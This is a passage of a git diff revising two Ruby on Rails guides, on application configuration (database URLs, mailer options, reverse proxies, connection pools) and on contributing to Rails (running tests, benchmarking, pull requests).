+    The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`.
+
+* `config.action_view.raise_on_missing_translations` determines whether an error should be raised for missing translations
 
 ### Configuring Action Mailer
 
@@ -375,17 +448,25 @@ There are a number of settings available on `config.action_mailer`:
 
 * `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
 
-* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`.
+* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration) for more info.
 
 * `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
 
 * `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
 
     ```ruby
-    :mime_version => "1.0",
-    :charset      => "UTF-8",
-    :content_type => "text/plain",
-    :parts_order  => [ "text/plain", "text/enriched", "text/html" ]
+    mime_version:  "1.0",
+    charset:       "UTF-8",
+    content_type: "text/plain",
+    parts_order:  ["text/plain", "text/enriched", "text/html"]
+    ```
+
+    Assign a hash to set additional options:
+
+    ```ruby
+    config.action_mailer.default_options = {
+      from: "noreply@example.com"
+    }
     ```
 
 * `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
@@ -400,16 +481,34 @@ There are a number of settings available on `config.action_mailer`:
     config.action_mailer.interceptors = ["MailInterceptor"]
     ```
 
+* `config.action_mailer.preview_path` specifies the location of mailer previews.
+
+    ```ruby
+    config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+    ```
+
+* `config.action_mailer.show_previews` enable or disable mailer previews. By default this is `true` in development.
+
+    ```ruby
+    config.action_mailer.show_previews = false
+    ```
+
 ### Configuring Active Support
 
 There are a few configuration options available in Active Support:
 
 * `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
 
+* `config.active_support.test_order` sets the order that test cases are executed. Possible values are `:sorted` and `:random`. Currently defaults to `:sorted`. In Rails 5.0, the default will be changed to `:random` instead.
+
 * `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`.
 
 * `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
 
+* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`.
+
+* `config.active_support.halt_callback_chains_on_return_false` specifies whether ActiveRecord, ActiveModel and ActiveModel::Validations callback chains can be halted by returning `false` in a 'before' callback. Defaults to `true`.
+
 * `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
 
 * `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
@@ -420,18 +519,134 @@ There are a few configuration options available in Active Support:
 
 * `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
 
-* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
 
 ### Configuring a Database
 
-Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.
+
+Using the `config/database.yml` file you can specify all the information needed to access your database:
+
+```yaml
+development:
+  adapter: postgresql
+  database: blog_development
+  pool: 5
+```
+
+This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:
+
+```ruby
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file contains sections for three different environments in which Rails can run by default:
 
 * The `development` environment is used on your development/local computer as you interact manually with the application.
 * The `test` environment is used when running automated tests.
 * The `production` environment is used when you deploy your application for the world to use.
 
+If you wish, you can manually specify a URL inside of your `config/database.yml`
+
+```
+development:
+  url: postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.
+
+
 TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
 
+
+### Connection Preference
+
+Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact.
+
+If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:
+
+```
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+```
+
+If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:
+
+```
+$ cat config/database.yml
+development:
+  adapter: postgresql
+  database: my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+```
+
+If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples.
+
+When duplicate connection information is provided the environment variable will take precedence:
+
+```
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  database: NOT_my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+```
+
+Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
+
+If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.
+
+```
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+```
+
+Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
+
+The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key:
+
+```
+$ cat config/database.yml
+development:
+  url: sqlite3:NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+```
+
+Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
+
+Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).
+
+```
+$ cat config/database.yml
+production:
+  url: <%= ENV['DATABASE_URL'] %>
+```
+
+Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`.
+
 #### Configuring an SQLite3 Database
 
 Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
@@ -475,11 +690,9 @@ development:
   encoding: unicode
   database: blog_development
   pool: 5
-  username: blog
-  password:
 ```
 
-Prepared Statements can be disabled thus:
+Prepared Statements are enabled by default on PostgreSQL. You can disable prepared statements by setting `prepared_statements` to `false`:
 
 ```yaml
 production:
@@ -487,6 +700,16 @@ production:
   prepared_statements: false
 ```
 
+If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value:
+
+```
+production:
+  adapter: postgresql
+  statement_limit: 200
+```
+
+The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements.
+
 #### Configuring an SQLite3 Database for JRuby Platform
 
 If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
@@ -528,7 +751,7 @@ Change the username and password in the `development` section as appropriate.
 
 By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
 
-Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server just by create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
 
 That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
 
@@ -552,13 +775,47 @@ Rails will now prepend "/app1" when generating links.
 
 #### Using Passenger
 
-Passenger makes it easiy to run your application in a subdirectory. You can find
-the relevant configuration in the
-[passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri).
+Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri).
 
 #### Using a Reverse Proxy
 
-TODO
+Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application.
+
+Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.
+
+One such application server you can use is [Unicorn](http://unicorn.bogomips.org/) to run behind a reverse proxy.
+
+In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.
+
+You can find more information in the [Unicorn readme](http://unicorn.bogomips.org/README.html) and understand the [philosophy](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it.
+
+Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:
+
+```
+upstream application_server {
+  server 0.0.0.0:8080
+}
+
+server {
+  listen 80;
+  server_name localhost;
+
+  root /root/path/to/your_app/public;
+
+  try_files $uri/index.html $uri.html @app;
+
+  location @app {
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header Host $http_host;
+    proxy_redirect off;
+    proxy_pass http://application_server;
+  }
+
+  # some other configuration
+}
+```
+
+Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information.
 
 #### Considerations when deploying to a subdirectory
 
@@ -604,7 +861,7 @@ Rails has 5 initialization events which can be hooked into (listed in the order
 
 * `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
 
-* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run.
+* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run.
 
 To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
 
@@ -759,4 +1016,36 @@ Since the connection pooling is handled inside of Active Record by default, all
 
 Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
 
-NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
+If you try to use more connections than are available, Active Record will block
+and wait for a connection from the pool. When it cannot get connection, a timeout
+error similar to given below will be thrown.
+
+```ruby
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it:
+```
+
+If you get the above error, you might want to increase the size of connection
+pool by incrementing the `pool` option in `database.yml`
+
+NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
+
+
+Custom configuration
+--------------------
+
+You can configure your own code through the Rails configuration object with custom configuration. It works like this:
+
+  ```ruby
+  config.x.payment_processing.schedule = :daily
+  config.x.payment_processing.retries  = 3
+  config.x.super_debugger = true
+  ```
+
+These configuration points are then available through the configuration object:
+
+  ```ruby
+  Rails.configuration.x.payment_processing.schedule # => :daily
+  Rails.configuration.x.payment_processing.retries  # => 3
+  Rails.configuration.x.super_debugger              # => true
+  Rails.configuration.x.super_debugger.not_set      # => nil
+  ```
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index fc6b2f992a..e06706d750 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Contributing to Ruby on Rails
 =============================
 
@@ -24,9 +26,9 @@ NOTE: Bugs in the most recent released version of Ruby on Rails are likely to ge
 
 ### Creating a Bug Report
 
-If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
+If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
 
-At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
+Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
 
 Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
 
@@ -50,12 +52,12 @@ Please don't put "feature request" items into GitHub Issues. If there's a new
 feature that you want to see added to Ruby on Rails, you'll need to write the
 code yourself - or convince someone else to partner with you to write the code.
 Later in this guide you'll find detailed instructions for proposing a patch to
-Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you
+Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you
 can expect it to be marked "invalid" as soon as it's reviewed.
 
 Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
 Generally, a feature is anything that adds new behavior, while a bug is
-anything that fixes already existing behavior that is mis-behaving. Sometimes,
+anything that fixes already existing behavior that is misbehaving. Sometimes,
 the core team will have to make a judgement call. That said, the distinction
 generally just affects which release your patch will get in to; we love feature
 submissions! They just won't get backported to maintenance branches.
@@ -69,89 +71,6 @@ won't be accepted." But it's the proper place to discuss new ideas. GitHub
 Issues are not a particularly good venue for the sometimes long and involved
 discussions new features require.
 
-Setting Up a Development Environment
-------------------------------------
-
-To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-
-### The Easy Way
-
-The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
-
-### The Hard Way
-
-In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html).
-
-
-Running an Application Against Your Local Branch
-------------------------------------------------
-
-The `--dev` flag of `rails new` generates an application that uses your local
-branch:
-
-```bash
-$ cd rails
-$ bundle exec rails new ~/my-test-app --dev
-```
-
-The application generated in `~/my-test-app` runs against your local branch
-and in particular sees any modifications upon server reboot.
-
-
-Testing Active Record
----------------------
-
-This is how you run the Active Record test suite only for SQLite3:
-
-```bash
-$ cd activerecord
-$ bundle exec rake test_sqlite3
-```
-
-You can now run the tests as you did for `sqlite3`. The tasks are respectively
-
-```bash
-test_mysql
-test_mysql2
-test_postgresql
-```
-
-Finally,
-
-```bash
-$ bundle exec rake test
-```
-
-will now run the four of them in turn.
-
-You can also run any single test separately:
-
-```bash
-$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
-```
-
-You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
-
-### Warnings
-
-The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
-
-As of this writing (December, 2010) they are especially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-
-```bash
-$ RUBYOPT=-W0 bundle exec rake test
-```
-
-### Older Versions of Ruby on Rails
-
-If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
-
-```bash
-$ git branch --track 3-0-stable origin/3-0-stable
-$ git checkout 3-0-stable
-```
-
-TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
 
 Helping to Resolve Existing Issues
 ----------------------------------
@@ -192,16 +111,15 @@ After applying their branch, test it out! Here are some things to think about:
 
 Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
 
-<blockquote>
-I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.
-</blockquote>
+>I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.
 
 If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
 
 Contributing to the Rails Documentation
 ---------------------------------------
 
-Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
+Ruby on Rails has two main sets of documentation: the guides, which help you
+learn about Ruby on Rails, and the API, which serves as a reference.
 
 You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides).
 
@@ -219,16 +137,28 @@ When working with documentation, please take into account the [API Documentation
 
 NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
 
-NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
 
 WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
 
 Contributing to the Rails Code
 ------------------------------
 
+### Setting Up a Development Environment
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to setup the tests on your own computer.
+
+#### The Easy Way
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+#### The Hard Way
+
+In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html).
+
 ### Clone the Rails Repository
 
-The first thing you need to do to be able to contribute code is to clone the repository:
+To be able to contribute code, you need to clone the Rails repository:
 
 ```bash
 $ git clone git://github.com/rails/rails.git
@@ -243,29 +173,39 @@ $ git checkout -b my_new_branch
 
 It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
 
+### Bundle Update
+
+Update and install the required gems.
+
+```bash
+$ bundle update
+```
+
+### Running an Application Against Your Local Branch
+
+In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch:
+
+```bash
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+```
+
+The application generated in `~/my-test-app` runs against your local branch
+and in particular sees any modifications upon server reboot.
+
 ### Write Your Code
 
-Now get busy and add or edit code. You're on your branch now, so you can write whatever you want (you can check to make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:
+Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:
 
 * Get the code right.
 * Use Rails idioms and helpers.
 * Include tests that fail without your code, and pass with it.
 * Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
 
-It is not customary in Rails to run the full test suite before pushing
-changes. The railties test suite in particular takes a long time, and even
-more if the source code is mounted in `/vagrant` as happens in the recommended
-workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
 
-As a compromise, test what your code obviously affects, and if the change is
-not in railties run the whole test suite of the affected component. If all is
-green that's enough to propose your contribution. We have [Travis CI](https://travis-ci.org/rails/rails)
-as a safety net for catching unexpected breakages
-elsewhere.
-
-TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
+TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).
 
-### Follow the Coding Conventions
+#### Follow the Coding Conventions
 
 Rails follows a simple set of coding style conventions:
 
@@ -275,7 +215,7 @@ Rails follows a simple set of coding style conventions:
 * Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
 * Prefer `&&`/`||` over `and`/`or`.
 * Prefer class << self over self.method for class methods.
-* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
+* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
 * Use `a = b` and not `a=b`.
 * Use assert_not methods instead of refute.
 * Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
@@ -283,13 +223,141 @@ Rails follows a simple set of coding style conventions:
 
 The above are guidelines - please use your best judgment in using them.
 
+### Benchmark Your Code
+
+If your change has an impact on the performance of Rails, please use the
+[benchmark-ips](https://github.com/evanphx/benchmark-ips) gem to provide
+benchmark results for comparison.
+
+Here's an example of using benchmark-ips:
+
+```ruby
+require 'benchmark/ips'
+
+Benchmark.ips do |x|
+  x.report('addition') { 1 + 2 }
+  x.report('addition with send') { 1.send(:+, 2) }
+end
+```
+
+This will generate a report with the following information:
+
+```
+Calculating -------------------------------------
+            addition     69114 i/100ms
+  addition with send     64062 i/100ms
+-------------------------------------------------
+            addition  5307644.4 (±3.5%) i/s -   26539776 in   5.007219s
+  addition with send  3702897.9 (±3.5%) i/s -   18513918 in   5.006723s
+```
+
+Please see the benchmark/ips [README](https://github.com/evanphx/benchmark-ips/blob/master/README.md) for more information.
+
+### Running Tests
+
+It is not customary in Rails to run the full test suite before pushing
+changes. The railties test suite in particular takes a long time, and even
+more if the source code is mounted in `/vagrant` as happens in the recommended
+workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
+
+As a compromise, test what your code obviously affects, and if the change is
+not in railties, run the whole test suite of the affected component. If all
+tests are passing, that's enough to propose your contribution. We have
+[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching
+unexpected breakages elsewhere.
+
+#### Entire Rails:
+
+To run all the tests, do:
+
+```bash
+$ cd rails
+$ bundle exec rake test
+```
+
+#### For a Particular Component
+
+You can run tests only for a particular component (e.g. Action Pack). For example,
+to run Action Mailer tests:
+
+```bash
+$ cd actionmailer
+$ bundle exec rake test
+```
+
+#### Running a Single Test
+
+You can run a single test through ruby. For instance:
+
+```bash
+$ cd actionmailer
+$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+```
+
+The `-n` option allows you to run a single method instead of the whole
+file.
+
+#### Testing Active Record
+
+First, create the databases you'll need. For MySQL and PostgreSQL,
+running the SQL statements `create database activerecord_unittest` and
+`create database activerecord_unittest2` is sufficient. This is not
+necessary for SQLite3.
+
+This is how you run the Active Record test suite only for SQLite3:
+
+```bash
+$ cd activerecord
+$ bundle exec rake test:sqlite3
+```
+
+You can now run the tests as you did for `sqlite3`. The tasks are respectively
+
+```bash
+test:mysql
+test:mysql2
+test:postgresql
+```
+
+Finally,
+
+```bash
+$ bundle exec rake test
+```
+
+will now run the four of them in turn.
+
+You can also run any single test separately:
+
+```bash
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+```
+
+To run a single test against all adapters, use:
+
+```bash
+$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb
+```
+
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+
+### Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+```bash
+$ RUBYOPT=-W0 bundle exec rake test
+```
+
 ### Updating the CHANGELOG
 
 The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
 
 You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
 
-A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
+A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:
 
 ```
 *   Summary of a change that briefly describes what was changed. You can use multiple
@@ -313,9 +381,9 @@ Your name can be added directly after the last word if you don't provide any cod
 You should not be the only person who looks at the code before you submit it.
 If you know someone else who uses Rails, try asking them if they'll check out
 your work. If you don't know anyone else using Rails, try hopping into the IRC
-room or posting about your idea to the rails-core mailing list.  Doing this in
-private before you push a patch out publicly is the “smoke test” for a patch:
-if you can’t convince one other developer of the beauty of your code, you’re
+room or posting about your idea to the rails-core mailing list. Doing this in
+private before you push a patch out publicly is the "smoke test" for a patch:
+if you can't convince one other developer of the beauty of your code, you’re
 unlikely to convince the core team either.
 
 ### Commit Your Changes
@@ -342,9 +410,9 @@ it should not be necessary to visit a webpage to check the history.
 Description can have multiple paragraphs and you can use code examples
 inside, just indent it with 4 spaces:
 
-    class PostsController
+    class ArticlesController
       def index
-        respond_with Post.limit(10)
+        render json: Article.limit(10)
       end
     end
 
@@ -430,13 +498,18 @@ $ git push origin branch_name
 
 ### Issue a Pull Request
 
-Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
+Navigate to the Rails repository you just pushed to (e.g.
+https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
+the right panel. On the next page, press "New pull request" in the upper right
+hand corner.
 
-Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range".
+Click on "Edit", if you need to change the branches being compared (it compares
+"master" by default) and press "Click to create a pull request for this
+comparison".
 
-Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes.
-
-Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
+Ensure the changesets you introduced are included. Fill in some details about
+your potential patch including a meaningful title. When finished, press "Send
+pull request". The Rails core team will be notified about your submission.
 
 ### Get some Feedback
 
@@ -461,11 +534,11 @@ the same way that you appreciate feedback on your patches.
 
 ### Iterate as Necessary
 
-It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.
+It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.
 
 #### Squashing commits
 
-One of the things that we may ask you to do is "squash your commits," which
+One of the things that we may ask you to do is to "squash your commits", which
 will combine all of your commits into a single commit. We prefer pull requests
 that are a single commit. This makes it easier to backport changes to stable
 branches, squashing makes it easier to revert bad commits, and the git history
@@ -501,7 +574,35 @@ $ git push origin my_pull_request -f
 You should be able to refresh the pull request on GitHub and see that it has
 been updated.
 
-### Backporting
+#### Updating pull request
+
+Sometimes you will be asked to make some changes to the code you have
+already committed. This can include amending existing commits. In this
+case Git will not allow you to push the changes as the pushed branch
+and local branch do not match. Instead of opening a new pull request,
+you can force push to your branch on GitHub as described earlier in
+squashing commits section:
+
+```bash
+$ git push origin my_pull_request -f
+```
+
+This will update the branch and pull request on GitHub with your new code. Do
+note that using force push may result in commits being lost on the remote branch; use it with care.
+
+
+### Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 4-0-stable branch:
+
+```bash
+$ git branch --track 4-0-stable origin/4-0-stable
